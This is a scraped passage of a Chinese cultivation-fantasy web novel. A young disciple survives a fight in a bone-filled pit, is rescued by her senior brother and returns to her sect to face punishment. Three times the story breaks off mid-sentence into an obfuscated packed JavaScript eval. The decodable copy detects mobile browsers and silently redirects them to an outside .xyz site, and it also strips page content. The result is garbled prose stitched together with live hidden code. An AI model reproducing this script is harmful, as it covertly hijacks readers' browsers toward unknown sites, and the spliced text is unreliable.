蒙面人只冷哼一声,随即便又攻了上来。薛予蓁只前面堪堪接得住招,蒙面人后面的攻势变快,她就有些应对不了了。她见自己势弱,朝一边的宋璇喊到:“快走!” “可是——” 薛予蓁挡住蒙面人的一击,“你在这也帮不了我,快走!” 蒙面人道:“你二人今天谁都走不了!” 宋璇犹豫了一下,道:“薛姑娘,保重!” 薛予蓁吃力地顶住蒙面人的攻击,待看不见宋璇的身影后,猛地咳出一口血。 “咳咳……”她撑着往后跳了一步,看向蒙面人身后,“哟,看来你也是吃了瘪的嘛。” 蒙面人也回头看了一眼,一群清水宗的弟子正朝这边跑来,他哼笑一声,“那便看看是他们到的快,还是我先抓住你。” 薛予蓁还在想办法拖延时间,却突然踉跄了一下,她面色一变,却发现不是自己体力不支,而是地面在震动。还没等她搞清楚状况,脚下的土地便轰然塌下。薛予蓁根本没有时间反应,摔下深坑前看见的最后一眼是许乐禾焦急奔来的身影。 “师兄——!” 薛予蓁睁眼时入目的便是头顶破烂的大洞,她心中哀嚎一声,看来自己不过是短暂地失去了意识。地面突然坍塌,她和那个蒙面人一同掉了下来,也不知道那个人摔到哪去了。即便是修士,如此摔到地上,也还是伤的不轻,薛予蓁费力地将自己撑了起来,刚想去刨一刨自己的剑,却在看清这下面的场景是时险些将自己再摔到地上。 地下的空间还不小,从洞口漏下来的月光照亮了这一方区域——尸骨层叠堆砌着,有一只骨手甚至勾住了薛予蓁的衣摆。薛予蓁倒吸一口冷气,一边小声嘀咕着冒犯了冒犯了,一边将它从自己的衣摆上拿开。 薛予蓁看着地洞腹诽道:“这里怎么会突然塌了,难不成张珏挖洞都挖到城外来了?他怕不是个地鼠精吧。”又抬头瞧了瞧距离,“这个高度,不御剑的话根本上不去。” “我的……”找了一圈,薛予蓁总算是找到了她的剑,虽然知道自己的剑不过是师父从剑阁随便拿给她用的,恐怕也坚持不了太久,但看着面前已经断成三截的剑时,薛予蓁还是有些难过。方才和蒙面人缠斗时便觉得坚持不了多久,却也没想到不过是摔了几下就断了。 铮! 飞镖撞在突然竖起的半截断剑上落了地,薛予蓁看向飞镖被掷来的方向,眉头紧锁,自己本就修为不及此人,剑还断了…… 蒙面人有些诧异,“没想到你这个小丫头还挺敏锐的嘛,什么——!”一柄弩箭直直攻向他的面门,他急忙提剑格挡,却被弩箭的力度打的往后退了两步。他将弩箭挥到一旁,不可置信地看向不过十几步之遥的薛予蓁,她面色肃然地端着一柄银色弓弩,泛着寒光的箭尖不善地对着他。 薛予蓁并不想随随便便的就死在这里,想起走之前施淼淼给她塞了许多保命的东西——之前的寒玉心和扶摇佩就是从储物囊中翻出来的,这柄弓弩自然也是——她将视线落到蒙面身上,“这位……不知道怎么称呼的大哥,可要小心一点。” “残冰弩?你究竟是谁?”薛予蓁不识货,蒙面人却识货,但他并不紧张。残冰弩虽然盛名在外,但也存在巨大的缺陷,它并不是一个完美的武器。此物的制作者设计时未曾想到补给的问题,所以这个弓弩只有三柄弩箭,他不信这个小丫头能在两剑之内将他击杀。他呵呵一笑,猛地攻了上去。 薛予蓁显然是之前没有使用过这样的武器,蒙面人的速度极快,几次调整都不能瞄准他,只得在长剑攻上来时脚步后退,将残冰弩丢出去挡下这一击。可残冰弩再怎么厉害也要人来操作,离了人便也只不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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褚霁远只略略看了那人两眼,便在薛予蓁面前蹲下,他伸手将她搂进自己怀里,此时神情温和下来,“怎么将自己弄得如此狼狈?” 薛予蓁看见褚霁远的一瞬间就放轻松了,她这会儿完全泄了劲地靠在他怀里,笑得眼睛弯弯的,“是嘛?” 褚霁远有一瞬间的沉默,薛予蓁这个时候实在是虚弱得不行了,她或许还觉得自己说了话,但殊不知,在她师兄眼里她只是张了张口,什么话都没说出来。褚霁远在她背上点了几个穴道止了血,“你受伤了,好好休息一下。” 破剑操纵她的时候,她根本来不及反应,精神紧绷的情况下,薛予蓁就没反应过来自己什么时候被刺了一剑。褚霁远这样一说,她才后知后觉地感觉到后背的疼痛,她伸手抓了一下他的衣襟,只来得及又喊了一声师兄之后就晕了过去。 看着薛予蓁脸上的疲倦,褚霁远轻轻地碰了碰她的脸,便将她抱了起来。子书珹这时也赶到了,他看了一眼蜷在褚霁远怀里的薛予蓁,朝他施了一礼,“褚师兄,我并未追上那二人,但是听见他们说来平阳城是在寻找碧绛草。” 子书珹和蒙面人并没有打太久,那人看自己对上子书珹的胜算不大,便扭身跑了,他不知是在平阳城待了多久了,对于城中的暗道了如指掌,子书珹不过是落后了一两步后便将人跟丢了。回到旧宅后便听说薛予蓁掉入坑中的事情,正要着急忙慌地赶过去的时候,褚霁远到了。 褚师兄听见薛予蓁身处危险,比子书珹还要急地赴往城外,到时便看见许乐禾像个无头苍蝇一样在哪急得团团转。 许乐禾是看着薛予蓁掉下去的,他自然是第一时间就反应过来要下去救她,但被破开的地面却突然出现一个阵法,不论如何都破不开。他又急又气,偏偏这时又有人来问他山上张珏的尸体怎么办,他简直要一口气呼吸不上来。瞪着清水宗弟子的样子比张家地牢里饲养的凶兽还要吓人,“我师妹现在还在下面!我管他什么尸——等等,谁的尸体?” “张,张珏…” 许乐禾觉得自己现在简直要死,“张珏,张珏不是跑了吗?一个时辰不到,他死了?!” “是,是的…” 就在此时,褚霁远过来了。许乐禾简直要给他跪下了,他拉着褚霁远几乎都要哭了,“褚师兄,你快去救救小风筝——” “去做。” 得了他的这句话,许乐禾如释重负,匆匆施了一礼后便带着人风风火火的上了山。 “碧绛草?”褚霁远疑道。 子书珹点头,“不过,未曾听说过这等草药,倒是只听说过碧秧草。” 褚霁远若有所思地应了一声,抬眼看着前方被敛芳华死死钉到墙上的蒙面人,嘱咐道:“去将此人拿下,我先带小风筝回去疗伤。” “是,褚师兄。” 15. 第十五章 回程 薛予蓁到平阳城的这几日,不是被人气得睡不好,就是心里装着事情彻夜难眠。这厢受了伤昏了过去,倒是难得地睡了个好觉,好到,甚至于做了一个美梦。梦中终于看清了娘亲的脸,她笑意绵绵地看着自己,而自己被她抱在怀里轻轻地摇晃着,爹爹站在她的旁边,一手拿着个小铃铛逗着自己,一手亲昵地搂着娘亲的肩,再旁边,是兄长看向自己亮晶晶的眼神。这个梦美好到薛予蓁有些不愿意醒来,她正伸出手想去抓那枚铃铛,场景却瞬间变化,母亲面容肃然,手执一柄长剑朝她刺来! “不要!”薛予蓁猛地睁开眼睛,身上的疼痛叫她又重新跌回床铺。 陶小雨一脸惊喜地凑了过来,“师姐,你终于醒了。” 薛予蓁疼得呲牙咧嘴,她盯着客栈的天花板看了好一会儿,才将目光移向陶小雨,“你怎么又叫我师姐,不是说喊我名字就好了嘛。” 陶小雨松了一口气,“小祖宗,你没事就好,昏睡了两天,简直要将这里的人都吓死了。”她面无表情的说这话,可信度反倒是没多少了。 不过薛予蓁也觉得自己睡得脑袋昏沉,她醒了之后便躺不住了,挣扎着坐了起来,“我,我昏过去之前好像看见师兄了,他在哪?难不成是我的错觉?” 褚霁远推开门就听见她这样问,无奈地摇摇头,“当真是睡傻了不成?” 薛予蓁看见他时眼前一亮,也不觉得伤疼了,掀开被子就要下地行礼。褚霁远也没拦着她,衣袖一挥在椅子上坐下了,看样子颇有一些兴师问罪的样子,“说说吧,为何不听子书珹的,要单独行动。” 薛予蓁下床的动作一顿,听见这话,她又慢吞吞地缩回被子里,将自己裹成一个茧,面朝着墙壁不作声,“……” “不想说这个,那便来说说,张珏是不是宋璇杀的,你又为何要放走她。” 薛予蓁身形僵了一下,将自己的头也埋进了被子里。 褚霁远看着她这般样子,险些笑出声来,他又要起一个话头,那边的茧却自己打开了。 “师兄!”听这语气,颇有些恼羞成怒的意味。 她这一遭的确是遭了不少罪,摔下深坑不说,面对自己胜不过的对手,就算将自己搞的浑身是伤,却也没想过要认输。此刻从被子里钻出来,之前惨白的脸都多了几团红晕,但与因为之前在坑中被打的满地滚,不光是背上,连手上脚上都是细密的伤口。此刻举着被子的手都还在微微地发抖,除了四年前那一面,褚霁远便再没有看见她如此狼狈的一面了。 褚霁远叹了口气,走到床前,指背轻轻抚过她脸上淡淡的红痕,温声道:“并未有责怪你的意思。伤口可还疼。” 薛予蓁瞬间就红了眼眶。疼,怎么可能会不疼。摔到坑底时,疼得她觉得自己的骨头都要碎掉了。但她不愿意认输,也不想要认输,她是褚霁远的师妹,是知源宗掌门的徒弟,怎么能就此认输。要是真不蹦跶两下,去打两下,丢了自己的脸不说,恐怕还要丢了师门的脸。她有些不好意思地躲过褚霁远的手,“原先是有些疼的……” 褚霁远有意逗她,“师兄来了便不疼了?” 薛予蓁倏地扭头看他,两只眼睛中都写着难以置信,她想说几日不见,师兄怎么变成这幅样子了,但转念一想,师兄长着一副冰山脸,看着不怒自威,冷冷清清的,但其实并没有很正经。 “褚师兄,张家的人招了。”门外传来游鸿的声音。 薛予蓁闻言,绕过褚霁远给他打个招呼,“游鸿师弟!” 游鸿看见薛予蓁醒过来,也高兴得不行,朝她笑了一下,“师姐!” 他的笑容是从没见过的灿烂,薛予蓁又被震惊了一下,看着游鸿欢天喜地地去报喜之后,才纳闷地问道:“我不过是睡了两天,怎么大家都不太正常了?” 褚霁远自然是将自己摘出了不正常的范围,将她按回床上,“游鸿原本是平阳城的人,你可知道?” 薛予蓁当然知道,她还陪同一道去和游鸿祭拜了一位故人——嗯?故人? “十几年前,他姐姐带着他从家乡到了平阳城谋生,不过安生了半年,便有人欺负他们姐弟俩,将好不容易搭建起的小家砸了个稀巴烂。可她姐姐是个性子坚韧的,又想着去做活养活他们俩,谁知,”得到游鸿喜报的子书珹走了进来,“她姐姐本来找了一家药坊做活计,却就此一去不归,而那药坊的主人便是张家密道之中的一位药师。” 游鸿姐姐是如何失踪的便一目了然,幸而游鸿在城外找姐姐的时候撞上了知源宗的一位长老,否则……薛予蓁闻言哑然,屋内的几人都沉默了一会儿。 “那他如今这么高兴,难道是?”薛予蓁问道。 子书珹摇摇头,“十几年前的事,便是能称得上是最早的案件,他的姐姐早已遇害。” “多谢几位师兄师姐的关心。”游鸿施了一礼,坦然道,“姐姐,必然是已经不在了。但这件事情总算是解决了,她若是知道了,也该安心了。” 游鸿说,其实姐姐早在失踪之前便察觉到了平阳城有问题,她带着游鸿进城之时曾不小心撞见张家绑人的现场。但她那时顾及着自己的弟弟,便没有多言,也不打算掺和这件事情。但同为异乡人,她能敏锐地察觉到有些人莫名其妙地消失了,她心中不安。 “她本想攒够了钱便带我离开平阳城,但却被人抢去,不得不另谋生路。她当我那时年幼,听不懂这些事,只在午夜睡不着时自己默默念叨这些事情。”游鸿神情淡然,“她或许想过自己会被找上,却没想到是她自己撞上去了。” “如今看见那名药师,见他已然落网,未来的下场也不会好过。大仇得报,心中郁结便解开了。” 薛予蓁瞧着他的笑容,却觉得他现在不若再畅快地哭一场。大仇的确已报,但逝去之人也再回不来了。“改日,我再陪你去瞧瞧姐姐吧。” 游鸿闻言一愣,有些失意地扭开头,半晌才声音哽咽地回道:“多谢师姐。” 子书珹来,一是听见说薛予蓁醒了,二时是来说明平阳城的事情。他确实是想去揉揉捏捏薛予蓁,看看他的小师妹是不是真的安然无恙,但又不得不将正事放在这之前。他恭恭敬敬地朝褚霁远施了一礼,“褚师兄,张家的人都已然招供,承认了十八年来平阳城以及周遭失踪的七百二十八人均是被他们绑去试药了。” 薛予蓁震惊,“这么多人!?” 子书珹微笑着看了她一眼,“这些人只是卷宗上所登记在册的失踪人员数量,还有许多是孤零零的一人,便也没人去找…”也就是说,真实的数量只会只多不少。 “十八年,只是试药?什么疑难病症,需要这样去试。可有问出来?”褚霁远问道。 子书珹摇头,“未曾说明。甚至那些药师都不甚清楚,只说张家要他们试各种零草药灵药,以代替碧绛草的作用。可,碧绛草到底是何物?” 褚霁远手指轻轻地在桌上敲击着,“传说,宁沂上仙飞升之前,曾在沉渊峰周围布下一道瘴气,以此避免有人误闯禁地。而只有服下碧绛草所制成的丹药,才能化解瘴气的毒。” 薛予蓁先前正好补过修真界这几百年的历史,“沉渊峰封的便是魔界同五洲的入口,若是破了瘴气,不就能接触到封印了吗?” 子书珹闻言也严肃起来,“若真是这样,难道张家对封印有什么念想?不,他们不过是商贾世家,并无多大的修为。” “那这样的话,张家背后必定有人。” 褚霁远点点头,“再去问。那个蒙面人呢?” “那人——” 子书珹刚要说话,徐赠春就匆匆走了进来。她朝褚霁远行了一礼,“褚师兄,那名蒙面人自尽了。是我办事不力。”她面带懊恼之意,看起来格外的自责。 褚霁远抬抬手示意她起身,“无妨,此事我早已预料到了。他既然是棋子,如今被抓住了,那他身后人便留他不得。”他沉吟片刻,“张家那边想必也再问不出什么东西来。这样,阿珹,你再去试探一番,若是实在问不出东西来,便将他们交与清水宗的人。赠春,你去将这边的事情与我带来的弟子交代一番。明日辰时我们便启程回宗。” “是,褚师兄!” 子书珹和徐赠春领命后便匆匆出了门,等出了客栈之后,这二人齐刷刷地站在原地不动了。片刻后,还是子书珹打破了这方沉默,他有些艰难地开口说道:“你方才,可有听清楚褚师兄是如何称呼你我二人的?” 徐赠春道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471912|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我并未伤到耳朵。” 如果换做平常,子书珹定要还嘴回去,但今日他却没这心思,“他从前也没有这样叫过我们,怎么今日如此突然?” 徐赠春想了想,眼前突然闪过刚才在房间内看见的薛予蓁那张透露着好奇的脸,福至心灵般地说道:“或许,是为了在小风筝面前表现出他很好相处?” 两人无言地对视了片刻,心道:褚师兄四年里没少和薛予蓁相处,薛予蓁也不是不清楚他性格如何,怎么今天就非要展现出好相与的模样来? 但褚师兄的心思哪里是那么好猜的,他们想了半天都没想出来,只得摇摇头后去办事了。 隔天早晨,他们便知道了这是为什么。回知源宗的飞舟内,褚霁远神色冷淡地坐在首位,三步远的地方怏怏地站着一个薛予蓁,她低着头,耳朵羞得绯红,“师兄,我知错了。” “知错?子书珹上次来信,便说你擅自行动,如今看来是一点教训都没得到。”褚霁远道。 闻言,薛予蓁难以置信地扭头去看子书珹,“子书师兄,你居然告状!” 子书珹心虚地咳了一声,展开扇子挡住自己的脸。 “薛予蓁。” 薛予蓁本还想要同他吵两句,被褚霁远连名带姓的喊了一声后便又悻悻地站了回去。 “同你说了,你又不当回事,若是我晚到一步,你怕是就要葬身坑底了。”褚霁远言辞严厉,“回宗之后,便自去思过,将门规抄个十来遍也不为过吧?” 薛予蓁抬头看着他,语气里满是不可置信,“师兄…” “我已禀告过师父,他也是这个意思。”褚霁远轻飘飘的一句话,将她最后的幻想也打破了,“也不多罚你,半个月便好。” 薛予蓁再不情愿,但师父都这样说了,也只得恭恭敬敬地行了礼,道了声是。行完礼,又委委屈屈地撇嘴嘀咕道:“昨天还和颜悦色地问人家头晕不晕伤口痛不痛,这还没过一天呢,就这样……” 褚霁远修为了得,自然听得清她这话,他叹了口气,颇为无奈地摇了摇头,“去寻个位置坐下,讲讲你在山上与宋璇的事情。” 此事便不能如此轻佻了,薛予蓁也没去找位置,甚至不用思考的将自己知道的事情说了个遍。听完她的讲述之后,舱内的几人齐齐沉默了。 “这位宋小姐,实在是……” 实在是太惨了,小时候在家中便惨,长大后在哪都惨,还遇上了张珏这样的人。 徐赠春道:“若不是宋璇聪明,恐怕也性命不保。” 许乐禾一开口便洋洋洒洒地骂起张家,骂起张珏来。直到被褚霁远冷冷地撇了一眼后才气焰消了下去,“我在张家搜人时也搜到许多恶心玩意,他们家人真是坏到底子里了。” 褚霁远问:“小风筝,你那时什么事情都没查清楚,就这样放宋璇走了,如果她才是背后的主谋,你岂不是酿下大祸?” 这样的怀疑薛予蓁之前当然是有过的,甚至放走宋璇也是在下山之后才真的作下的决定。她见宋璇的第一面,觉得她是一位很温和的大姐姐,虽然后面的几次会面都不是那么愉快,在调查张家的途中,也有针对宋璇的线索。但在山上,在那间小屋子,宋璇所说的那些,确实不似作伪。薛予蓁定了定心神,坚定道:“我那时的确不知道宋璇说的到底是不是真的,但我知道若是那时我没选择放她走,知道真相之后,我一定会很后悔。至于要是她真的是幕后主谋,”她笑了一下,“我做错的事,也该由我来承担,即便是千辛万苦,都要她付出相应的代价。” 褚霁远听完这话笑了起来,“看来,下来一趟山,也不只是学会了不听指挥,单独行动,也有不少收获嘛。” 薛予蓁不知如何作答,只是望着褚霁远笑了笑。 舱外有弟子道:“褚师兄,马上便到了。” 薛予蓁问道:“已经到堇衣镇了吗?” “到了。” 她回身朝褚霁远行了一礼,“师兄,还请师兄允许我先行下去,去祭拜一下父母兄长。” 褚霁远一愣,道:“我当你下山时已经去过了。” 薛予蓁不好意思地笑道:“下山时,心中还有许多困惑,经历了这一遭,倒是豁然开朗了。” 16. 第十六章 失言 四年间,都是师父带她来祭拜他们,独自一人,这还是头一遭。看着眼前小小的坟,薛予蓁有些怔然。这还是风雨门弟子那时草草立下的坟,简陋的木牌上面,连名字都没有。薛予蓁看着看着便觉得自己眼眶发烫,匆匆扭头擦了擦眼睛。 拔掉坟墓周围的野草,她也不在意,席地坐下,从储物囊中取出一捧扎好的花束,端正地发放在木牌前面,“爹,娘,哥哥,许久不来看望你们,是予蓁的错。” 她伸手抚了抚木牌,才继续道:“这是我在平阳城采的花,大而艳丽,是娘最喜欢的那种。不知你们留在堇衣镇前,有没有去过平阳城呢,那里倒也算得上热闹。不过在我心里,还是比不过堇衣镇。对了,此番去那,还遇见了两位凌河药谷的人。娘,以前真的是那里的弟子吗?” 她喋喋不休地说了好些东西,自己如何看出宋璇的画留下的信息,如何与蒙面人缠斗……可惜始终只有她一人在说话,那些说不出口的委屈和伤痛无人能抚平。 “师兄问我有没有后悔放走了宋璇。其实还是有的,害怕自己做了错事,要被骂,万一坏了知源宗的名声,指不定还要被赶出来。还有,和那个人打斗的时候,也好害怕,我根本就,”说话间,晶莹的泪珠从薛予蓁脸上滑落,嗒嗒地落在了花叶之上,在师兄面前表现得无所畏惧的小姑娘,此刻哭得格外放肆,“根本就打不过他…呜呜…我好害怕,好害怕,我怕我真的死在那,可是…呜…可是,我还没能给你们报仇…呜呜…” 少女跪在木牌前,呜呜咽咽地哭泣着,“爹,娘,哥哥……我好想你们……好想…” 约莫一刻钟之后,薛予蓁收拾好了自己的情绪,她抬起衣袖擦了擦脸,“如今我已经到了金丹,每月也能下山了。下月,我再来看望你们。” 到知源宗山门结界处,薛予蓁远远看见有个人影在门口徘徊。有人在等她,想到这种可能,薛予蓁心中的怅然消散许多,于是便几步跨进山门。 看清那人是子书珹后,薛予蓁竟也不觉得有多奇怪,她朗声喊道:“子书师兄!” 子书珹闻声忙抬头看去,他走到薛予蓁面前,先是看了她好些时间,待到眼前之人疑惑地歪了歪脑袋时,才缓缓抬手抚了抚她还泛着些红肿的眼睛,低声道:“倒是我的疏忽,叫你平白无故地受了伤。” 薛予蓁赶忙摇摇头,道:“是我自己不懂事了,子书师兄先前明明叮嘱过,叫我不要轻举妄动。” 她这么说,子书珹不辩驳,却也不回应,只是笑了一下,“这两日事情繁多,都没关心我们小风筝,伤可还好?” 薛予蓁对他的态度感觉有些奇怪,但子书珹不愿说,她便不多嘴,“徐师姐的伤药很有效,现下已经不痛了。” 子书珹点点头,“先前褚师兄托我给你带话,说你回宗便去找掌门,而后自去禁闭。” 虽然早就知道回来之后就要去禁闭室,但薛予蓁还是长叹一口气,她往日里功课都完成得很好,也极守门规,旁的同窗被罚时,她还会迎合着同别人一起笑两声,没想到也有被笑的一天。她朝子书珹施了一礼,道:“那我便去找师父了。” 施明尘自然已经听说了薛予蓁在平阳城的表现,对于她这贸然的行动也是小小的警告了几下,但好歹她也是帮着破了大半的事情。奖惩有度,何况施明尘本就很喜欢她,责骂只是浅浅带过,要不是褚霁远在一旁看着,恐怕了连紧闭都免了。 “咳,小风筝这次也是立了功的,又有伤在身,师父也不多罚你,”施明尘笑眯眯地瞧着她,“十天禁闭,将门规抄上一遍。如何?” 最好的当然是将什么都免了,但这也比褚霁远说的那些好多了,薛予蓁行礼,“如此甚好,还是师父疼我。”说罢还去瞥了一眼褚霁远。 褚霁远只无奈地摇摇头。 “对了师父,”薛予蓁掏出那个银簪,“我在集市买了这个,同师姐格外相配。”她将簪子递到施明尘手中,期盼道:“我能先去看看师姐吗?” 施明尘看了看簪子,将其收入怀中,抬手摸了摸她的头,“淼淼她近来身子不太舒服……” 薛予蓁怎么可能没猜到,若是施淼淼没事,那在山门处等她的人便会再多一个。她心中既是担忧又是失落,“师姐她……” 女儿身体一直不好,施明尘自然也很担忧,但看着薛予蓁这样,安慰道:“扶鸢说,许是夜里受了寒,有些发热,并无大碍。” 薛予蓁点点头,反过来安慰施明尘,“扶鸢长老医术了得,师姐定然没事。就麻烦师父将这小礼物转交给师姐,再同她说待我出来后,给她讲山下的故事听。” 施明尘眼中升起笑意,“好孩子,师父一定替你告诉师姐。” 看着薛予蓁出去后,褚霁远道:“下山一趟,不过几天,性子倒也是稳重了些。” 施明尘点头,“是。朗月,你先前说,凌河药谷的两个徒弟去了平阳城?” 褚霁远上前一步,行了个礼后,道:“是。子书珹在追捕那名蒙面人的时候,也撞见过那两人。不过他们什么都没做,似乎真的只是去平阳城找什么碧绛草而已。师父是怀疑……?” “碧绛草……”施明尘沉吟一会,“凌河药谷自上代谷主逝世后便淡出世家许多,颇有一些避世的意思,现如今却是在寻找碧绛草。沉浮楼近日可有异动?” “并无。”褚霁远答。 “嗯……”施闭眼想了一会儿,“凌河药谷之事绝非巧合,四年前薛予蓁家中的纹饰,如今的平阳城…不知凌河药谷要做什么,但绝对不能掉以轻心。至于碧绛草……下月十七号,便是宁沂秘境开放的日子了,既然他们在找,那我们不妨也去找找。” “朗月,适时便由你带领门中弟子前往秘境试炼。” 褚霁远拱手行礼,道:“弟子领命。” 薛予蓁没在禁闭室里待满十天,她不过五天便将门规抄完,而第六天,施淼淼就在门口叫她出去。看守禁闭室的弟子自然是拗不过施淼淼的,当即上报给掌门。而掌门,掌门本就不想关薛予蓁的禁闭,听闻此事,大手一挥便叫他们直接放人离开。 待薛予蓁兴冲冲地走出禁闭室的门时,就看见施淼淼已经带上了那枚银簪。虽不是什么名贵之物,那银色的飞鸟在施淼淼头上熠熠生辉,随着她的动作倒真是有些要展翅飞走的意味。看自己的礼物被人接受了,薛予蓁心中一暖,可视线落到施淼淼身上时,脸上的笑意便僵了僵。 她满打满算离开知源宗也不过半个月,施淼淼却比上次看见时又消瘦了些,肉眼可见的那种。仍处在夏日,别人都恨不得穿得越少越好时,她却还披着一件薄薄的斗篷,脸上血色均无。薛予蓁心中难受,知道师姐身体不好,可没想到到了这般程度。可施淼淼不知道她在想什么,见她突然僵在原地,便笑道:“怎么了,小风筝?认不得师姐了?” 她又是一场大病,现在虽然看着虚弱,精神头却好得出奇,尤其一双眼睛里神采奕奕。薛予蓁想,师姐的眼睛比那银簪还要熠熠生辉。 不想叫施淼淼再想起病痛时的难受,薛予蓁收回心神,摇摇头,奔到了她的面前,“才不会呢。忘记谁都不会忘记师姐。” 施淼淼哈哈笑了起来,“我可等着你的故事呢,真好奇什么事情能将我们乖巧的小风筝弄进了禁闭室。” “师姐!” “师姐在这呢。” “哼!这天下的男人果真没有一个好东西!”施淼淼愤声道。 薛予蓁连忙给她倒了一杯桃花茶,“师姐莫气师姐莫气。” 薛予蓁回了竹晏峰后便和施淼淼讲起了平阳城发生的事情。施淼淼听完宋璇和张珏的事情后便是如此反应,她一口饮下桃花茶,感叹道:“这位宋璇姑娘,倒也是气度不凡。” 薛予蓁对宋璇的情感还是很复杂,但这不妨碍她也这么想,“她很厉害。” “如此环境,能成长成这样,便是不易,而又遇到张珏这人…”想想宋璇那时的处境,施淼淼摇摇头,“倘若是我,撞见绑架这一事便会与人打个头破血流。她却是忍气吞声地去筹划。”她想起来就就觉得张家,尤其张珏此人实在令人恶心,便忍不住又骂了一句,“都是狗男人的错!” 桃林外传来一声轻笑,子书珹拎着个小储物囊走了进来,他道:“师妹这话倒是将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看着她这样的反应,薛予蓁却心中发紧。大家带回来的都是很不起眼的小玩意,与施明尘给施淼淼的天灵地宝比起来,根本算不得什么。陶小雨和游鸿甚至因为囊中羞涩,而一起给施淼淼买了一个小孩子玩的小玩意。薛予蓁本来以为施淼淼看见这些,会不开心,但她仍旧眼睛亮晶晶地摆弄着那个小玩具。 子书珹果然给施淼淼买了那个丑得一塌糊涂的簪子,纵使施淼淼对什么都接受良好,这次也不由得皱起眉头,抬手摸了摸头上的银簪,“若是往常,你这簪子我便不说什么了。但这次,小风筝带回来的如此好看……子书师兄,你怎么每次都给我带这些丑东西。”嘴上说着丑东西,但她仍是招手让侍女拿来了一个小盒子,将这东西珍而重之地收了起来,“先前是一只五颜六色的狞猫木雕,再之前是一个枯枝……” 子书珹挑了挑眉,“这簪子有何问题,我先前给我家的小妹们买了一样的,她们都喜欢的不得了,这可是时下流行的款式呢。” 施淼淼关盒子的动作一顿,又拿起簪子看了两眼,狐疑道:“你不要诓我,当真是时下流行的?” “嗯哼,”子书珹拿着折扇在手中敲了敲,指了指薛予蓁,“不信,你问问小风筝,她可不会骗你。” 趁着施淼淼转头的间隙,子书珹给薛予蓁抛了个眼神,要是平常,薛予蓁便接到了这个暗示。可今天她在走神,等被施淼淼的声音叫回神后,她也是愣愣地看着施淼淼。就在施淼淼以为她不舒服,伸手要去碰她时,薛予蓁冷不丁地说道:“师姐,你想下山看看吗?” 此话一处,在这里的人都愣住了。施淼淼的手僵在半空,脸上的表情空白了一瞬。子书珹眼中也闪过一丝惊讶。而说这话的薛予蓁也猛地站了起来,她没去看施淼淼,语速很快地说道:“我,我突然想起和小雨约好了一起去练功,今晚便先不回来了!”说完便急匆匆的冲了出去。 施淼淼回过神要去拦的时候,她已经走远了。 子书珹看向她,道:“淼淼…” 施淼淼垂眸看向那捧花,上面缠绕的绿色灵气已经渐渐消散了,花束也逐渐枯萎。她也有些无措,手中又凝起一团灵力,向花束传输过去,“不,不,我——” “淼淼!” “小姐!” 施淼淼身形晃了晃,有些支撑不住地倒在了子书珹怀里,指尖的灵力也溃散了。她咬了咬嘴唇,将脸埋进了侍女的怀中。 17. 第十七章 师姐 知道自己说错了话,薛予蓁好几天都没回竹晏峰。也不知夜晚宿在哪的,而施淼淼也没再提她。 第六天的晚上,薛予蓁调息完后,长舒了一口气。看了看天色后,便朝着后山去了。她刚刚爬上一棵古树,树下有人叫了她一声。 “薛予蓁。” 是褚霁远。 薛予蓁缩在枝干上抱着膝盖,眉眼耷拉着,一言不发。 树下褚霁远继续道:“要我亲自上去将你带下来?” 树叶窸窸窣窣地响了几声,却没人出现。褚霁远正想开口,树上的人先开口了。 薛予蓁的声音闷闷的,“师兄,你回去吧。我想一个人待一会。” 褚霁远柔声道:“你已经待了很多个一会儿了。” 于是薛予蓁又不说话了。 褚霁远脚尖轻点,轻松一跃便到了薛予蓁的那根枝干上。薛予蓁背靠在树干上,将自己缩得小小一团,头埋在双膝间。听见声音后便抬头看了褚霁远一眼。褚霁远这四年间经常看见她这样的神色,眉梢耷拉下来,眼中的光彩很少,神情落寞得不行。但这样的神情往往只是出现在修习堵塞,剑法不精的时候,但他看薛予蓁现在周身围绕着灵气,甚至修为又上了一步,已经是金丹中期了。 褚霁远叹了口气,也在枝干上坐下来,他朝着薛予蓁招了招手,道:“来,小风筝,来师兄这。” 薛予蓁却只是看着他,摇了摇头,“师兄有什么想说的,说便是了。” 褚霁远笑道:“我有什么想说的?不过是很久没见到我们小风筝,想见一见罢了。” 山不就他,他便自己挪到了薛予蓁旁边,如愿地摸到了她毛茸茸的脑袋,“入夜山中寒意重,既然不想回竹宴峰,那不如去我那宿一晚?” 薛予蓁沉默了一下,瓮声瓮气地回复道:“师兄自己都不怎么在清棠峰待,恐怕只有一间屋子吧。我还不如待在这里呢。” 褚霁远没曾想到自己会被以这样的理由拒绝,但回想了一下自己这些年来不是在正殿的偏房休息,就是在后山闭关,的确没怎么打理过清棠峰。他道:“既然嫌弃我的清棠峰,那便是想念竹宴峰了,为什么不回去呢?” 薛予蓁这下愿意抬头看他了,她道:“师兄,你想过……”话说到半截,却又被吞了回去,“有些话还是不要说得好。” “子书珹总是给淼淼带些看不过去的东西,”褚霁远却突然说道,“从来如此。一开始,只是因为他回程太急,忘记了这件事,只得从家中妹妹看不上眼的东西里拿出个什么搪塞给淼淼。可淼淼不知道,她从未下过山,即便是从再多人口中听说过山下,城中的样子,也是想象不出来的。” 